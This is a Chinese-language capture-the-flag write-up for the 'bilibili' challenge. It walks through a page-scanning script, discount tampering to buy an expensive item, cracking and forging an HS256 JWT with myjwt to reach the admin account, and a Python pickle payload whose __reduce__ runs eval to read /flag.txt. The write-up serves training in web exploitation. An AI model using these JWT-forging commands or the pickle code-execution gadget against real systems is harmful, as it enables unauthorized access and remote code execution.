题目:bilibili(攻防世界)
文章目录
- 题目:bilibili(攻防世界)
- 页面似乎时无穷的,只能写一个脚本
- 发现有cookie,还有jwt,这里可能是用这个进行认证
- 接下来我们使用myjwt
- 修改become的值为python反序列化的结果提交,发现flag
http://61.147.171.103:56584
我们先注册一个账户,后登录,打开一看:发现提示:
要买Iv6,所以我们的找一下,但页面太多
页面似乎时无穷的,只能写一个脚本
from urllib import request url="http://61.147.171.103:56584/shop?page=" for i in range(1,501): r = request.urlopen(url+str(i)) if "lv6.png" in r.read().decode('utf-8'): print(i) break else: print("lv6 is not in page "+str(i))发现lv6在181
抓包,发现价格太贵了,买不起,只能用bp改一下,发现价格直接修改会报错,修改折扣为0.0000001,发现有提示
发现要用admin账户登录才行,但这里有点奇怪,因为不像是要我们爆破admin账户,我们观察一下这个页面的数据包
发现有cookie,还有jwt,这里可能是用这个进行认证
尝试解码:jwt在线解密/加密 - JSON中文网
接下来我们使用myjwt
pip install myjwt
myjwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluMTIzIn0.a2_XSubn-rw_b4YmH5jcEpObqMnqsWNKeFidyH3DnH8 --crack “[A-Za-z0-9]{4}”
myjwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluMTIzIn0.a2_XSubn-rw_b4YmH5jcEpObqMnqsWNKeFidyH3DnH8 --add-payload “username=admin” --sign 1Kun
我们修改一下jwt,发现进去了admin界面
得到www.zip,然后我们就直接快进到对Admin.php进行代码审计(我也不知道为什么,反正就这样),发现Admin.py这个文件里面存在python反序列化漏洞,这里我们直接写脚本获得反序列化的代码
import pickle import urllib import urllib.parse class exp(object): def __reduce__(self): return (eval,("open('/flag.txt').read()",)) a = exp() s=pickle.dumps(a,protocol=0) print(urllib.parse.quote(s))